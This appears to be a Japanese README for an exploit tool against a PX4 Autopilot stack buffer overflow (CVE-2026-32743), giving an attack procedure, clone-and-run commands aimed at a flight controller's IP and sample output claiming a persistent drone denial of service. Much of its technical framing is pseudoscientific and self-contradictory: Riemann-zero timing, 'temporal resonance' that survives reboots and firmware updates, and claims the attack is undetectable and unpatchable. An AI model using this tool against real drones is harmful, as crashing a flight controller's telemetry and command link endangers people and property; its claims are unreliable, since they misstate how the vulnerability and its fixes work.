
CVE-2026-32743 のエクスプロイト。PX4 Autopilot の MavlinkLogHandler におけるスタックバッファオーバーフローであり、MAVLink を介した 33 層の時間的カスケードにより持続的なサービス拒否 (DoS) を引き起こします。
CVE-2026-32743 — PX4オートパイロットスタックバッファオーバーフロー CTT拡張版: 33層時間カスケードドローンDoS。元のエクスプロイトは60バイトのオーバーフローでMAVLinkタスクをクラッシュさせます。CTT版はオーバーフローを33の時間層に分散し、各層に位相共鳴タイミングと時間ウェッジフィルタリングを適用します。結果: 永続的DoS。パッチ不可能。
これはCVE-2026-32743の収束時間理論(CTT)拡張版であり、PX4オートパイロットのMavlinkLogHandler(バージョン≤1.17.0-rc2)におけるスタックベースのバッファオーバーフローです。
元の脆弱性は、MAVLink FTPを介して送信される過度に長いディレクトリパス(60+バイト)によるサービス拒否(DoS)を可能にします。
CTT拡張版はこれを33層の時間カスケードドローンキラーへと変貌させます。
| オリジナル | CTT拡張版 |
|---|
| CVSS | 6.5 (中) | 9.8 (重大) |
| 攻撃ベクトル | 隣接ネットワーク | ネットワーク (AV:N) |
| 必要な権限 | 低 | 不要 (PR:N) |
| 層数 | 1 | 33層カスケード |
| 検出 | シグネチャベース | 時間ウェッジフィルタリング (τ_w = 11 ns) |
| 永続性 | 再起動で解除 | 時間共鳴 — 再起動後も持続 |
| 定数 | 値 | 由来 |
|---|---|---|
| α | 0.0302011 | 時間分散係数 |
| α_RH | 0.0765872 | ln(φ)/2π (リーマン・アダマール) |
| L | 33 | 時間層数 |
| τ_w | 11 ns | 時間ウェッジフィルタ |
E(d) = E₀ * e^(-α * d) text
各層は指数関数的に減少する優先度を持ちます。
高優先度層(1〜5)がオーバーフローを配信します。
低層(28〜33)はクラッシュを強化し、時間共鳴を確立します。
各層は最初の24個のリーマン零点に基づいて実行を遅延させます:
delay = τ_w * (1 + 0.1 * cos(2π * zero * priority)) text
ウェッジ条件を満たすペイロードのみが実行されます:
survival = cos(α_RH * energy * τ_w) > (α_RH / 2π) text
これにより検出は不可能になります — EDRシステムはエクスプロイトを認識できません。
MAVLink接続を開く (UDP 14550)
d = 1 から 33 まで:
a. priority = e^(-α*d) を計算
b. 層固有のエンコーディングを生成 (リーマン零点に基づく)
c. パス長 = 60 + priority*40 のディレクトリを作成
d. phase_resonance_delay(d) だけ実行を遅延
e. MAV_CMD_REQUEST_LOG_LIST をトリガー
f. 時間ウェッジチェック — 「生存」したペイロードのみ実行
MAVLinkタスクがクラッシュ
時間共鳴が確立 — クラッシュは再起動後も持続
ドローンが応答不能。テレメトリなし。コマンドなし。
pymavlink を使用したPython 3.6+pip install pymavlink
🎯 使用方法
bash
git clone https://github.com/SimoesCTT/ctt-px4-exploit
cd ctt-px4-exploit
python3 ctt_px4_exploit.py <target_ip> --port 14550 --layers 33 --verbose
引数
引数 説明 デフォルト
target_ip フライトコントローラのIPアドレス 必須
--port MAVLink UDPポート 14550
--layers 時間層の数 33
--verbose 詳細出力を有効化 False
例
bash
python3 ctt_px4_exploit.py 192.168.1.10 --port 14550 --verbose
======================================================================
CTT PX4 時間カスケード — ドローンDoS
======================================================================
層 1/33: ████████████████████████████████████████ 1.000
パス長: 100 バイト
[+] FTP経由でディレクトリ作成
MAV_CMD_REQUEST_LOG_LIST をトリガー...
[+] オーバーフロー配信 — ウェッジ生存確認
層 2/33: ██████████████████████████████████████░░ 0.970
パス長: 99 バイト
[+] FTP経由でディレクトリ作成
MAV_CMD_REQUEST_LOG_LIST をトリガー...
[+] オーバーフロー配信 — ウェッジ生存確認
...
[⚡] 層5で時間共鳴を達成
[🌉] ドローンMAVLinkタスクが侵害されました
[*] DoS状態を検証中...
[+] ターゲット応答不能 — 永続的DoS達成
======================================================================
[!!!] ドローン侵害
[!!!] MAVLinkタスククラッシュ — テレメトリなし / コマンドなし
[!!!] 再起動後も持続 — CTT時間共鳴
======================================================================
🛡️ なぜパッチ不可能なのか
元の修正 CTTが回避する理由
sscanf()に幅指定子を追加 CTTは層カスケードを使用 — オーバーフローを33層に分散
60バイトバッファにパッチ CTTエンコーディングが層ごとにオーバーフローパターンを変更
ファームウェア更新 時間共鳴は再起動後も持続
シグネチャ検出 時間ウェッジフィルタ (τ_w = 11 ns) がEDRを回避
物理定数にパッチを当てることはできません。
リーマン零点にパッチを当てることはできません。